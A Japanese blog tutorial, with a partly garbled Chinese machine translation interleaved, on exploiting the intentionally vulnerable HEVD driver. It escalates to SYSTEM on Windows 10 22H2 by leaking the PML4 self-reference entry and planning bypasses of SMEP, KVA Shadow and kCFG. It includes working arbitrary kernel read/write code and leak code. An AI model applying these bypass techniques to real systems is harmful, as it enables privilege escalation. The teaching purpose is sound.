Windows 10 22H2 – HEVDで学ぶKernel Exploit

Windows 10 22H2 - HEVDで学ぶKernel Exploit

はじめに 起先

この記事では、Windows Kernel Exploitの学習を目的として、HackSys Extreme Vulnerable Driver (HEVD)脆弱性を題材にしたExploitの開発を行います。
在本文中,我们将开发一个基于 HackSys 极端易受攻击的驱动程序 (HEVD) 漏洞,以了解 Windows 内核漏洞。

ここで作成するExploitは、HEVDの任意メモリ上書きの脆弱性を利用して、Windows 10最新版(22H2)におけるセキュリティ機構(SMEP、KVA Shadow、PML4 Self-Reference Entry Randomization)をバイパスし、SYSTEM権限への特権昇格を行う内容です。
此处创建的漏洞利用 HEVD 中的任意内存覆盖漏洞绕过最新版本的 Windows 10 (22H2) 中的安全机制(SMEP、KVA Shadow、PML4 Self-Reference Entry Randomization),并将权限提升为 SYSTEM 权限。

HackSys Extreme Vulnerable Driver (HEVD)
HackSys 极端易受攻击的驱动程序 (HEVD)

HEVDはセキュリティ教育目的で作られた、意図的に脆弱性が埋め込まれている「やられWindowsデバイスドライバ」です。
HEVD 是为安全教育目的而创建的“Windows 设备驱动程序”,并有意嵌入漏洞。

github.com

HEVDはインストールが簡単で、既に世の中に参考となるExploitが多数存在しています。Kernel ExploitはBinary Exploitの分野でも特に取っつきづらい印象がありますが、HEVDを利用することでお手軽に学習を始めることができます。
HEVD 易于安装,并且已经有许多漏洞可以用作参考。 在二进制漏洞利用领域,内核漏洞似乎特别难以掌握,但您可以使用 HEVD 轻松开始学习它们。

HEVDには様々なタイプの脆弱性が実装されていますが、本記事では、特に任意メモリ上書きの脆弱性を利用した攻撃に焦点を当てています。
HEVD 中实现了许多不同类型的漏洞,但本文重点介绍利用任意内存覆盖漏洞的攻击。

1. Arbitrary Overwrite 1. 任意覆盖

HEVDにはシンプルな任意メモリ上書き(Arbitrary Overwrite)の脆弱性があります。
HEVD 包含一个简单的任意覆盖漏洞。

以下は当該の脆弱性が存在する箇所のソースコードです。
漏洞的源代码如下。

DbgPrint("[+] Triggering Arbitrary Write\n");

//
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
//

*(Where) = *(What);

HackSysExtremeVulnerableDriver/Driver/HEVD/Windows/ArbitraryWrite.c at b02b6ea3ce4b53652348ac8fa5cc7e96b4e6c999 · hacksysteam/HackSysExtremeVulnerableDriver · GitHub
HackSysExtremeVulnerableDriver/Driver/HEVD/Windows/ArbitraryWrite.c 在 b02b6ea3ce4b53652348ac8fa5cc7e96b4e6c999 · hacksysteam/HackSysExtremeVulnerableDriver · GitHub上

上記の What と Where の両方ともユーザモードからコントロール可能な値です(いわゆる、Write-what-where状態)。また、Where と What の値がカーネル空間に存在するアドレスかどうか検証されていないため、攻撃者は脆弱性を悪用することで、カーネル空間の任意のアドレスに任意の値を書き込むことができます。
Where What 以上两个值都可以从用户模式控制(所谓的 Write-what-where 状态)。 此外,由于 和 的值未经验证是否为内核空间中的地址, Where 攻击者可以利用此漏洞将任意值 What 写入内核空间中的任意地址。

脆弱性を発火させてみる  尝试点燃漏洞

以下のC言語のコードでは、上記の脆弱性を利用して任意メモリ上書きを行う関数(ArbitraryWrite)を実装しています。
在下面的 C 代码中,使用上述漏洞实现了执行任意内存覆盖的函数 (ArbitraryWrite)。

#define HEVD_IOCTL_ARBITRARY_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)

typedef struct _WRITE_WHAT_WHERE
{
  PULONG_PTR What;
  PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

BOOL ArbitraryWrite(HANDLE hHevd, PVOID where, PVOID what)
{
  printf("[!] Writing: *(%p) = *(%p)\n", where, what);

  PWRITE_WHAT_WHERE payload = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));
  payload->What = (PULONG_PTR)what;
  payload->Where = (PULONG_PTR)where;

  DWORD lpBytesReturned;
  return DeviceIoControl(
    hHevd,
    HEVD_IOCTL_ARBITRARY_WRITE,
    payload,
    sizeof(payload),
    NULL,
    0,
    &lpBytesReturned,
    NULL
  );
}

例えば、ArbitraryWriteを用いて以下のような処理を実行すれば、デバイスドライバに任意のアドレスを書き換えさせることができます。
例如,您可以使用 ArbitraryWrite 通过执行以下操作来使设备驱动程序重写任意地址。

const char hello[] = "Hello, world!";
const char aaaaa[] = "AAAAAAAAAAAAA";

ArbitraryWrite(hHevd, hello, aaaaa)
printf("hello: %s\n", hello);
[!] Writing: *(000000CAFC0FFBF8) = *(000000CAFC0FFC18)
hello: AAAAAAAAorld!

hello[] が aaaaa[] の値で上書きされていることが確認できます。
hello[] 被 的 aaaaa[] 值覆盖。

ドライバはカーネルモードで動作するため、Whereにはカーネル空間のアドレスを指定することもできます。これを利用することで、攻撃者はWhereで指定したカーネル空間のデータを改ざんすることができます。
由于驱动程序在内核模式下运行, Where 因此还可以为 指定内核空间地址。 这允许攻击者篡改 Where 指定的内核空间中的数据。

2. Arbitrary Read

この脆弱性は、任意メモリ上書きの脆弱性であると同時に、任意メモリ読み取り(Arbitrary Read)の脆弱性でもあります。
此漏洞既是任意内存覆盖漏洞,又是任意读取漏洞。

さっきとは逆に、Whatカーネル空間のアドレスを設定し、Whereにユーザ空間のアドレスを設定します。そうすると、カーネル空間のデータがユーザ空間に書き込まれることになります。
相反,设置为内核空间地址并设置为 What Where 用户空间地址。 这将导致内核空间数据写入用户空间。

これを利用することで、攻撃者は Where に書き込まれたデータからカーネル空間のデータをリークさせることができます。
这允许攻击者从写入 Where 的数据中泄漏内核空间数据。

以下のコードでは、ArbitraryWriteを利用して任意メモリ読み取りを行う関数(ArbitraryRead)を実装しています。
在下面的代码中,实现了使用 ArbitraryWrite 执行任意内存读取的函数 (ArbitraryRead)。

PVOID ArbitraryRead(HANDLE hHevd, PVOID addr)
{
  PVOID readBuf;
  ArbitraryWrite(hHevd, &readBuf, addr);
  return readBuf;
}

この関数は指定したアドレスのデータを読み出し、その値を戻り値として返します。この関数を用いることで、カーネル空間のデータをユーザモードに漏洩させることができます。
此函数读取指定地址的数据,并将值作为返回值返回。 此函数可用于将内核空间数据泄漏到用户模式。

本記事の後半のExploit Developmentの章では、ここで作成した2つの関数(ArbitraryWrite, ArbitraryRead)を駆使し、カーネルモードでのシェルコード実行を目指します。
在本文后面的漏洞利用开发一章中,我们的目标是通过充分利用此处创建的两个函数(ArbitraryWrite 和 ArbitraryRead)在内核模式下执行 shellcode。

さて、次のセクションでは、今回のExploit開発にあたり障壁になるWindowsのセキュリティ機構について考えていきます。
在下一节中,我们将介绍阻碍此漏洞开发的 Windows 安全机制。

セキュリティ機構 安全机制

今回は、現時点でのWindows 10の最新バージョンである22H2を対象にKernel Exploitを開発します。
这一次,我们将为 22H2 开发一个内核漏洞,这是目前最新版本的 Windows 10。

OSバージョン 操作系统版本

  • Windows 10 22H2 (Build 19045.3930)

OS設定 OS设定

  • KVA Shadow: Enabled
  • VBS/HVCI: Disabled

プロセス設定 进程设置

  • Integrity Level: Medium

KVA Shadowの設定確認 检查 KVA 影子设置

KVA ShadowはMeltdownに脆弱なCPUを使用している場合はデフォルトで有効になっています。SpecuCheckというツールで現在の設定を確認することができます。下の実行結果は有効の場合です。
如果您使用的 CPU 容易受到 Meltdown 的影响,则默认情况下会启用 KVA Shadow。 您可以使用名为 SpecuCheck 的工具检查当前设置。 以下执行的结果是它何时有效。

> SpecuCheck.exe
SpecuCheck v1.1.1    --   Copyright(c) 2018 Alex Ionescu
https://ionescu007.github.io/SpecuCheck/  --   @aionescu
--------------------------------------------------------

Mitigations for CVE-2017-5754 [rogue data cache load]
--------------------------------------------------------
[-] Kernel VA Shadowing Enabled:                    yes
 ├───> Unnecessary due lack of CPU vulnerability:    no
 ├───> With User Pages Marked Global:                no
 ├───> With PCID Support:                           yes
 └───> With PCID Flushing Optimization (INVPCID):   yes
...

VBS/HVCIの設定確認 检查 VBS/HVCI 设置

VBS/HVCIはWindows 10ではデフォルトで無効になっています。こちらはSystem Informationツールを起動し、System Summaryの項目から設定を確認することができます。以下は無効の場合です。
默认情况下,VBS/HVCI 在 Windows 10 中处于禁用状态。 您可以启动系统信息工具,然后从系统摘要项中检查设置。 以下是无效情况:

Virtualization-based security: Not enabled

この機能が有効になっている場合、Kernel Exploit開発の難易度が一気に跳ね上がります。今回の記事で作成するExploitはVBS/HVCIが有効化されている環境では動作しません。
启用该功能后,内核漏洞利用开发的难度会急剧上升。 本文中创建的漏洞在启用了 VBS/HVCI 的环境中不起作用。

(一方、Windows 11ではVBS/HVCIはデフォルトで有効化されています。そのため、Windows 11でKernel Exploitを成功させるには追加でいくつかのセキュリティ機構をバイパスする必要があります。)
(另一方面,VBS/HVCI 在 Windows 11 中默认启用。 因此,为了使内核漏洞在 Windows 11 中成功,有必要绕过一些额外的安全机制。 )

Integrity Level

Integrity Level: Mediumは、Windowsにおいて殆どプロセスに設定されている最も基本的なIntegrityレベルです。
Integrity Level: Medium 是为 Windows 中的大多数进程设置的最基本的完整性级别。

Lowだと制限が厳しくなり、Kernel Exploitの難易度が上がりますが、逆にMediumであればWin32 APIを叩いてカーネルのベースアドレスが取得できるなど一部難易度が下がります。
如果是 Low,限制会更严格,Kernel Exploit 的难度会增加,但如果是 Medium,难度会在某些方面降低,比如可以通过点击 Win32 API 来获取内核的基址。

では、ここからは上記の設定においてExploitを成功させるためにバイパスが必要なセキュリティ機構について説明します。
现在,让我们看一下需要绕过的安全机制,以便利用漏洞在上述配置中成功。

1. SMEP (Supervisor Mode Execution Prevention)

SMEPは、Windows 8で導入されたセキュリティ機構で、カーネルモード(Supervisor Mode)でのユーザモードコードの実行を防止します。
SMEP 是 Windows 8 中引入的一种安全机制,可防止在内核模式(主管模式)下执行用户模式代码。

SMEP以前は、制御フローさえ奪えば、後はユーザモードコードをカーネルに実行させるだけで容易に任意コード実行が可能でした。
在 SMEP 之前,只要控制流被拿走,只需让内核执行用户模式代码,就很容易执行任意代码。

SMEPのメカニズム SMEP力学

SMEPはCPUの機能を利用して実装されています。この機能は、CPUでSMEPが有効(CR4レジスタの20番目のビットが1)になっているときに、ユーザモードコード(ページテーブルエントリの2番目のビットが1)の実行を禁止します。
SMEP 是使用 CPU 的功能实现的。 此功能禁止在 CPU 上启用 SMEP(CR4 寄存器的第 20 位为 1)时执行用户模式代码(页表条目的第二位为 1)。

以下は、WinDbgカーネルモードのCR4レジスタの値を出力した結果です。
以下是在 WinDbg 中打印内核模式 CR4 寄存器值的结果。

0: kd> .formats cr4
Evaluate expression:
  Hex:     00000000`00370e78
  Decimal: 3608184
  Decimal (unsigned) : 3608184
  Octal:   0000000000000015607170
  Binary:  00000000 00000000 00000000 00000000 00000000 00110111 00001110 01111000
  Chars:   .....7.x
  Time:    Thu Feb 12 03:16:24 1970
  Float:   low 5.05614e-039 high 0
  Double:  1.78268e-317

CR4の20番目のビットには1がセットされており、SMEPが有効になっています。(CPUのビットは「0番目」から数える慣習があるらしく、1番目から数えると1つずれます。自分は最初混乱しました。)
CR4 的第 20 位设置为 1,表示启用 SMEP。 (似乎有一个惯例,从“第 0 个”开始计算 CPU 位,如果从第 1 个开始计算,它将关闭 1。 起初我很困惑。 )

次は、ページテーブルエントリの値を出力した結果です。
以下是打印页表条目值的结果。

1: kd> !pte rip
                                           VA fffff8040a105f1a
PXE at FFFFFDFEFF7FBF80    PPE at FFFFFDFEFF7F0080    PDE at FFFFFDFEFE010280    PTE at FFFFFDFC02050828
contains 0000000004909063  contains 000000000490A063  contains 0A000000065A2863  contains 0000000238F4D821
pfn 4909      ---DA--KWEV  pfn 490a      ---DA--KWEV  pfn 65a2      ---DA--KWEV  pfn 238f4d    ----A--KREV

実行中のページテーブルエントリはカーネルモードコードとして確保されています。(WinDbgがパースしてくれており、Kと表記されています。)
执行页表条目保留为内核模式代码。 (WinDbg 会为你解析它,并编写 K 为 .) )

上記のように、Windowsカーネルモードで動作している際はSMEPが有効に設定され、カーネルによって確保されたコードはカーネルモードに設定されています。
如上所述,当 Windows 在内核模式下运行时,将启用 SMEP,并将内核保留的代码设置为内核模式。

一方、通常のプロセスが確保したコードはユーザモード(U)に設定されています。SMEPが有効な状態でそれらのユーザーモードコードを実行した場合、CPUはPage Faultを発生させて即座にBSOD(クラッシュ)を引き起こします。
另一方面,正常进程保留的代码设置为用户模式 ( U )。 如果在启用 SMEP 的情况下执行这些用户模式代码,CPU 将立即导致蓝屏死机(崩溃)并引发页面错误。

この仕組みにより、カーネルにユーザモードコードを実行させる攻撃を防ぐことができます。
这样可以防止导致内核执行用户模式代码的攻击。

一般的なSMEPのバイパス 常见 SMEP 旁路

SMEPのバイパスには以下のように複数の方法が考えられます。
有几种方法可以绕过 SMEP:

  • ユーザモードコードを実行する前にCR4レジスタの値を改ざんしてSMEPを無効化する
    在执行用户模式代码之前,通过篡改 CR4 寄存器的值来禁用 SMEP
  • カーネル空間に実行可能な領域を確保し、カーネルモードコードとして任意のコードを書き込む
    在内核空间中分配可执行文件空间,并将任意代码编写为内核模式代码
  • ユーザモードコードのページテーブルエントリを改ざんし、カーネルモードコードに変更する
    篡改用户模式代码中的页表条目并将其更改为内核模式代码

2. KASLR (Kernel Address Space Layout Randomization)

KASLRは、Windows 8.1で導入されたカーネルアドレス空間配置のランダマイズ機能です。
KASLR 是 Windows 8.1 中引入的内核地址空间布局的随机化功能。

攻撃者によるカーネル空間のアドレス推測を困難にする効果があります。ユーザ空間におけるASLRのカーネル空間版ですね。
这使得攻击者更难猜测内核空间中的地址。 它是用户空间中 ASLR 的内核空间版本。

KASLRのメカニズム KASLR 机械

KASLRが有効になっている場合、OSの起動時にカーネルのベースアドレスがランダムに配置されます。
启用 KASLR 后,内核基址将在启动操作系统时随机放置。

WinDbgで確認すると、再起動するたびにカーネルのベースアドレスが変化していることが分かります。
如果使用 WinDbg 进行检查,可以看到每次重新启动时内核的基址都会更改。

1: kd> ? nt
Evaluate expression: -8795109457920 = fffff800`3aa00000
0: kd> ? nt
Evaluate expression: -8785399644160 = fffff802`7d600000

一般的なKASLRのバイパス手法 常用 KASLR 旁路技术

Integrity Level: Mediumの環境下では、EnumDeviceDrivers や NtQuerySystemInformationなどのAPIを使用してカーネルのベースアドレスを取得することが可能です。Windowsにおいては、KASLRはIntegrity Level: Medium以上のプロセスに対するセキュリティ機構としてはあまり効果がないものとなってます。
Integrity Level: Medium 可以使用 EnumDeviceDrivers 和 NtQuerySystemInformation 等 API 获取内核的基址。 在 Windows 上,KASLR 作为 Integrity Level: Medium 这些进程的安全机制不是很有效。

3. PML4 Self-Reference Entry Randomization
3. PML4 自参考条目随机化

PML4 Self-Reference Entry Randomizationは、Windows 10のバージョン1607で導入されたKASLR強化パッチのようなものです。
PML4 自引用条目随机化类似于 Windows 10 版本 1607 中引入的 KASLR 强化修补程序。

この機能が追加される以前は、PML4 Self-Reference Entryが固定値であったため、KASLRが有効になっている場合でも、ページテーブルエントリへアクセスするための仮想アドレスに関しては推測することができました。
在添加此功能之前,PML4 自引用条目具有固定值,因此即使启用了 KASLR,也可以猜测用于访问页表条目的虚拟地址。

PML4 Self-Reference Entry Randomizationのメカニズム

PML4 Self-Reference Entry Randomizationは、OSの起動時にPML4 Self-Reference Entryを0x100-0x1FFの範囲でランダムに決定します。
PML4 Self-Reference Entry Randomization 将 PML4 Self-Reference Entry 随机化为操作系统启动 0x100-0x1FF 时的范围内。

WinDbgで確認すると、再起動するたびにページテーブルエントリの仮想アドレスが変化していることが分かります。
如果使用 WinDbg 进行检查,则可以看到每次重新启动时页表条目的虚拟地址都会更改。

0: kd> !pte 0x0
                                           VA 0000000000000000
PXE at FFFFEDF6FB7DB000    PPE at FFFFEDF6FB600000    PDE at FFFFEDF6C0000000    PTE at FFFFED8000000000
contains 8A0000004D50E867  contains 0000000000000000
pfn 4d50e     ---DA--UW-V  contains 0000000000000000
not valid
0: kd> !pte 0x0
                                           VA 0000000000000000
PXE at FFFFFDFEFF7FB000    PPE at FFFFFDFEFF600000    PDE at FFFFFDFEC0000000    PTE at FFFFFD8000000000
contains 8A00000004FEE867  contains 0000000000000000
pfn 4fee      ---DA--UW-V  contains 0000000000000000
not valid

この機能の導入以前はPML4 Self-Reference Entryが0x1EDで固定されていたため、PML4の仮想アドレスも必ず0xFFFFF6FB7DBED000で固定されていました。
在引入此功能之前,PML4 自引用条目固定为 ,因此 PML4 虚拟地址始终固定 0x1ED 0xFFFFF6FB7DBED000 为 。

このあたりのページングの仕組みについて詳しく知りたい方はCore Securityの記事を読むのがおすすめです。
如果您想在此处详细了解分页的工作原理,建议您阅读核心安全性一文。

一般的なPML4 Self-Reference Entry Randomizationのバイパス手法
常见的 PML4 自引用条目随机化绕过技术

カーネルはメモリ管理のためにページテーブルエントリの書き換えを行う必要があり、そのためにページテーブルエントリへの仮想アドレスを取得できる仕組みになっている必要があります。Windowsでは、カーネル空間内の特定のアドレス(nt!MiGetPteAddress + 0x13)にPML4 Self-Reference Entryが保持されており、カーネルはこの値を用いることでページテーブルエントリの仮想アドレスを計算しています。
内核需要重写页表条目以进行内存管理,为此,它需要能够获取页表条目的虚拟地址。 在 Windows 上,PML4 自引用条目保存在内核空间 ( nt!MiGetPteAddress + 0x13 ) 中的特定地址,内核使用此值来计算页表条目的虚拟地址。

このアドレスへのオフセットは既知であるため、カーネル空間からデータをリークできる場合、値を読み出してPML4 Self-Reference Entry Randomizationをバイパスすることができます。
此地址的偏移量是已知的,因此,如果数据可以从内核空间泄漏,则可以读取该值并绕过 PML4 自引用条目随机化。

4. kCFG (Kernel Control Flow Guard)

kCFGは、Windows 10のバージョン1703で導入されたセキュリティ機構で、関数ポインタの書き換えによる制御フローの乗っ取りを緩和します。VBS/HVCIが有効な場合にのみ完全に機能しますが、無効化されている環境でも部分的な保護機能(Kernel-mode Address Check)が働きます。
kCFG 是 Windows 10 版本 1703 中引入的一种安全机制,用于通过重写函数指针来缓解控制流劫持。 只有当启用 VBS/HVCI 时,它才能完全正常工作,但部分保护功能(内核模式地址检查)即使在禁用它的环境中也能正常工作。

kCFGとKernel-mode Address Checkのメカニズム
kCFG 和内核模式地址检查机制

kCFGは、間接関数呼び出し時に、ジャンプ先のアドレスが信頼できるアドレスかどうかをチェックします。これにより、シェルコードへのジャンプはもちろん、ROPガジェットへのジャンプも困難になります。
当 kCFG 调用间接函数时,它会检查它跳转到的地址是否为受信任的地址。 这使得跳转到 ROP 小工具变得困难,更不用说跳转到 shellcode。

ただし、VBS/HVCIが無効化されている場合、Windowsは呼び出し先のアドレスがカーネルモードアドレスかどうか(上位ビットが1か)のみをチェックします。

一般的なKernel-mode Address Checkのバイパス手法

ここではVBS/HVCIが無効化されている前提(Kernel-mode Address Checkのみ)のバイパス手法について考えます。

この場合では、関数ポインタを書き換えても直接ユーザモードコードにはジャンプはできません。そのため、カーネル空間内のコードを再利用するROPのようなテクニックと組み合わせる必要があります。

具体的には、カーネルモードコード内からユーザモードコードへジャンプするROPガジェットを見つけ、そのROPガジェット経由でユーザモードコードにジャンプするといったバイパス手法が考えられます。

5. KVA Shadow (Kernel Virtual Address Shadow)

KVA Shadowは、2018年3月にWindows 10へ実装されたMeltdown脆弱性対策です。(LinuxではKPTIとして知られています。)

本来はMeltdownを緩和するための機能ですが、SMEPと同様にカーネルモードでのユーザモードコードの実行を防止する副次的な効果があります。
此功能主要用于缓解 Meltdown,但与 SMEP 一样,它具有阻止在内核模式下执行用户模式代码的副作用。

KVA Shadowのメカニズム KVA 影子力学

ページングに使用されるPML4テーブルは、通常1プロセスにつき1個用意されます。しかし、KVA Shadowが有効になっている環境では「ユーザモード用のPML4テーブル」と「カーネルモード用のPML4テーブル」の2つのPML4テーブルが用意されるようになります。
每个进程通常有一个用于分页的 PML4 表。 但是,在启用 KVA Shadow 的环境中,将准备两个 PML4 表:“用于用户模式的 PML4 表”和“用于内核模式的 PML4 表”。

これらのPML4テーブルはマップされている内容が異なっており、それぞれのモードで不必要な内容はマップされないようになっています。OSはコンテキストスイッチの際、2種類のPML4テーブルをコンテキストに合わせて切り替えることで、ユーザモードとカーネルモードのメモリ分離を強化します。
这些 PML4 表的映射方式不同,因此不会在每种模式下映射不必要的内容。 该操作系统通过在上下文切换期间根据上下文在两种类型的 PML4 表之间切换来增强用户模式和内核模式之间的内存分离。

WinDbgカーネルデバッグを行い、カーネルモードからユーザモードコードのページテーブルエントリを確認してみます。
在 WinDbg 中执行内核调试,并在内核模式下检查用户模式代码中的页表条目。

KVA Shadowが無効な場合: 如果 KVA Shadow 被禁用:

1: kd> !pte 000001e59fae0003
                                           VA 000001e59fae0003
PXE at FFFFFDFEFF7FB018    PPE at FFFFFDFEFF603CB0    PDE at FFFFFDFEC07967E8    PTE at FFFFFD80F2CFD700
contains 0A000001B6507867  contains 0A0000020A908867  contains 0A0000020A609867  contains 00000001E2181867
pfn 1b6507    ---DA--UWEV  pfn 20a908    ---DA--UWEV  pfn 20a609    ---DA--UWEV  pfn 1e2181    ---DA--UWEV

KVA Shadowが有効な場合: 启用 KVA Shadow 时:

0: kd> !pte 000001e59fae0003
                                           VA 000001d9a5760003
PXE at FFFFFDFEFF7FB018    PPE at FFFFFDFEFF603B30    PDE at FFFFFDFEC0766958    PTE at FFFFFD80ECD2BB00
contains 8A000002295B2867  contains 0A000002293B3867  contains 0A000001F4FB4867  contains 00000001F8FF4867
pfn 2295b2    ---DA--UW-V  pfn 2293b3    ---DA--UWEV  pfn 1f4fb4    ---DA--UWEV  pfn 1f8ff4    ---DA--UWEV

KVA Shadowが有効な場合は、PML4Eが実行不可(E-)になっていることが確認できます。(ちなみに、Windowsの世界ではPML4EはPXEという名前で呼ばれています。)

上記の通り、KVA Shadowが有効になっている場合、カーネルモード用のPML4テーブルには、ユーザ空間のアドレス帯が実行不可としてマップされます。(逆に、ユーザモード用のPML4テーブルには、カーネル空間のアドレス帯がそもそもマップされません。)

この仕組みは、ページテーブルエントリのXD (NX) ビットを強制的に1にすることで実現されています。KVA Shadowは、SMEPと同様にカーネルモードでのユーザモードコードの実行を防ぐ働きをすることからソフトウェアSMEPと呼ばれることもあります。

一般的なKVA Shadowのバイパス手法

KVA Shadowのバイパスには以下のように複数の方法が考えられます。

  • ユーザモードコードを実行する前にユーザモード用PML4テーブルに切り替わるようにCR3レジスタの値を改ざんする
  • カーネル空間に実行可能な領域を確保し、カーネルモードコードとして任意のコードを書き込む
  • カーネルモード用PML4テーブルのエントリを改ざんし、実行可能に変更する

Exploit Development

Exploitの開発を始める前に、まずはExploitの全体的な戦略を立てます。

1. 目標・戦略

ここでは権限昇格を目標としてExploit Developmentを行います。


目標: Token Stealシェルコードの実行による、SYSTEM権限への特権昇格

目標を達成するためには、ArbitraryWriteArbitraryReadを駆使して先程紹介したセキュリティ機構の全てをバイパスする必要があります。

まずは、Exploitをステップに分解して戦略を立てます。


戦略1. PML4 Self-Reference Entry Randomizationのバイパス

  • 前提1: ArbitraryReadでカーネル内の情報を読み取ることができる
  • 前提2: カーネル内にはPML4 Self-Reference Entryが保持されている

→ カーネル内の情報からPML4 Self-Reference Entryをリークすることでバイパスする


戦略2. SMEPとKVA Shadowのバイパス

  • 前提1: ArbitraryWriteでカーネル内の情報を改ざんすることができる
  • 前提2: 戦略1.でリークしたPML4 Self-Reference Entryを元に、シェルコードのPML4エントリの仮想アドレスを計算できる

→ PML4エントリの仮想アドレスを指定し、ArbitraryWriteでPML4エントリをXDビット = 0かつU/Sビット = 0に改ざんすることでバイパスする


戦略3. Kernel-mode Address Checkのバイパス

  • 前提1: カーネル内の関数ポインタを書き換えることで任意のアドレスを間接関数呼び出しさせる既知テクニックがある
  • 前提2: カーネル内には制御可能なレジスタに格納されたアドレスにジャンプする既知のROPガジェットが存在する

→ 関数ポインタを「制御可能なレジスタに格納されたアドレスにジャンプするROPガジェット」のアドレスで書き換え、当該レジスタにユーザモードコードのアドレスを指定してバイパスする


後は、Token Stealシェルコードを準備したり、関数ポインタの呼び出しを発生させたり、BYOD防止の為にカーネルの状態を元通りに戻したり、いくつか処理を追加する必要がありますが、概ね上記の戦略で目標が達成できると考えられます。

では、ここからは上記の戦略に基づいて実際にExploit Developmentを行っていきます。

2. PML4 Self-Reference Entry Randomizationのバイパス

ここでは、ArbitraryReadでカーネル内からPML4 Self-Reference Entryをリークすることを目指します。

MiGetPteAddressの解析

カーネルはメモリ管理のために、ページテーブルエントリの仮想アドレスを知ることができる必要があります。そのために用意されているのがMiGetPteAddressというカーネルモード用の関数です。

この関数をWinDbgでディスアセンブルすると以下のようなコードが表示されます。

0: kd> u nt!MiGetPteAddress
nt!MiGetPteAddress:
fffff807`8206b560 48c1e909        shr     rcx,9
fffff807`8206b564 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff807`8206b56e 4823c8          and     rcx,rax
fffff807`8206b571 48b80000000000ecffff mov rax,0FFFFEC0000000000h
fffff807`8206b57b 4803c1          add     rax,rcx
fffff807`8206b57e c3              ret

このコードは「引数として与えられた仮想アドレス」の「PTE (Page Table Entry)の仮想アドレス」を取得するものです。このコードの内の 0FFFFEC0000000000h の部分にPML4 Self-Reference Entryの値が含まれています。

ページテーブルエントリの仮想アドレスを計算

ここで、0xFFFFF0123456789Aという適当なアドレスを例にして、上記のコードをPythonでシミュレートしてみます。

In [17]: hex(((0xFFFFF0123456789A >> 9) & 0x7FFFFFFFF8) + 0xFFFFEC0000000000)
Out[17]: '0xffffec78091a2b38'

この計算前後の仮想アドレスを分解し、比較すると以下のようになります。

  • オリジナル(計算前): 0xFFFFF0123456789A
1111111111111111 (0xffff) - Ignored
111100000        (0x01e0) - PML4 index
001001000        (0x0048) - PDPT index
110100010        (0x01a2) - PDT index
101100111        (0x0167) - PT index
100010011010     (0x089a) - Physical address offset
  • PTE(計算後): 0xFFFFEC78091A2B38
1111111111111111 (0xffff) - Ignored
111011000        (0x01d8) - PML4 index
111100000        (0x01e0) - PDPT index
001001000        (0x0048) - PDT index
110100010        (0x01a2) - PT index
101100111000     (0x0b38) - Physical address offset

計算前後で、値がPML4 index → PDPT index、PDPT index → PDT index、PDT index → PT indexのように一段下のページ構造にシフトしています。また、計算後のPML4 indexには元の仮想アドレスには存在しない値(0x01d8)が入っています。

この値(0x01d8)がPML4 Self-Reference Entryです。

PML4 Self-Reference Entryの値を知っていれば、同じ計算を繰り返すことで、同様にPDTE、PDPTE、PML4Eの仮想アドレスも計算することができます。

  • PDTE: 0xFFFFEC763C048D10
1111111111111111 (0xffff) - Ignored
111011000        (0x01d8) - PML4 index
111011000        (0x01d8) - PDPT index
111100000        (0x01e0) - PDT index
001001000        (0x0048) - PT index
110100010000     (0x0d10) - Physical address offset
  • PDPTE: 0xFFFFEC763B1E0240
1111111111111111 (0xffff) - Ignored
111011000        (0x01d8) - PML4 index
111011000        (0x01d8) - PDPT index
111011000        (0x01d8) - PDT index
111100000        (0x01e0) - PT index
001001000000     (0x0240) - Physical address offset
  • PML4E: 0xFFFFEC763B1D8F00
1111111111111111 (0xffff) - Ignored
111011000        (0x01d8) - PML4 index
111011000        (0x01d8) - PDPT index
111011000        (0x01d8) - PDT index
111011000        (0x01d8) - PT index
111100000000     (0x0f00) - Physical address offset

PML4 Self-Reference Entryのリーク

今回はPML4Eの改ざんによるSMEPとKVA Shadowのバイパスを行います。そのため、Exploitの中でPML4 Self-Reference EntryをリークしてPML4Eの仮想アドレスを計算する必要があります。

先程のMiGetPteAddressのコードから値をリークする方法を考えます。

先程の値0FFFFEC0000000000hはMiGetPteAddressのアドレスから0x13バイトのオフセットにあります。

1: kd> dq nt!MiGetPteAddress+0x13 L1
fffff802`45c6b573  ffffec00`00000000

この位置は、カーネルのベースアドレスから0x26b573バイトのオフセットです。

1: kd> ? nt!MiGetPteAddress+0x13 - nt
Evaluate expression: 2536819 = 00000000`0026b573

このオフセットを指定し、ArbitraryReadでカーネル空間から値をリークします。

const size_t MiGetPteAddress13_Offset = 0x26b573;
PVOID miGetPteAddress13_Address = (PVOID)((uintptr_t)kernelBaseAddress + MiGetPteAddress13_Offset);
PVOID pteVirtualAddress = ArbitraryRead(hHevd, miGetPteAddress13_Address);
printf("[*] Leaked PTE virtual address: %p\n", pteVirtualAddress);

そして、以下のコードでリークした値からPML4 Self-Reference Entryを抽出します。

unsigned int ExtractPml4Index(PVOID address)
{
  return ((uintptr_t)address >> 39) & 0x1ff;
}
unsigned int pml4SelfRef_Index = ExtractPml4Index(pteVirtualAddress);
printf("[*] Extracted PML4 Self Reference Entry index: %03x\n", pml4SelfRef_Index);

コードを実行すると、以下のようにPML4 Self Reference Entryをリークすることができます。

[!] Writing: *(000000BF51BBFC60) = *(FFFFF80560C6B573)
[*] Leaked PTE virtual address: FFFFEC0000000000
[*] Extracted PML4 Self Reference Entry index: 1D8

これで、PML4 Self-Reference Entry Randomizationをバイパスする処理をExploitに組み込むことができました。

3. SMEPとKVA Shadowのバイパス

PML4 Self Reference Entryをリークすることができたので、次はシェルコードのPML4Eを改ざんし、SMEPとKVA Shadowのバイパスを目指します。

ダミーシェルコード

ダミーの何もしないシェルコード(nop/nop/nop/int3)を実行可能なメモリ領域にコピーします。

PVOID AllocExecutableCode(PVOID rawCode, size_t size)
{
  PVOID executableCode = VirtualAlloc(
    NULL,
    size,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
  );
  RtlMoveMemory(executableCode, rawCode, size);
  return executableCode;
}
unsigned char rawShellcode[] = {
  0x90, 0x90, 0x90, 0xCC // nop, nop, nop, int3
};
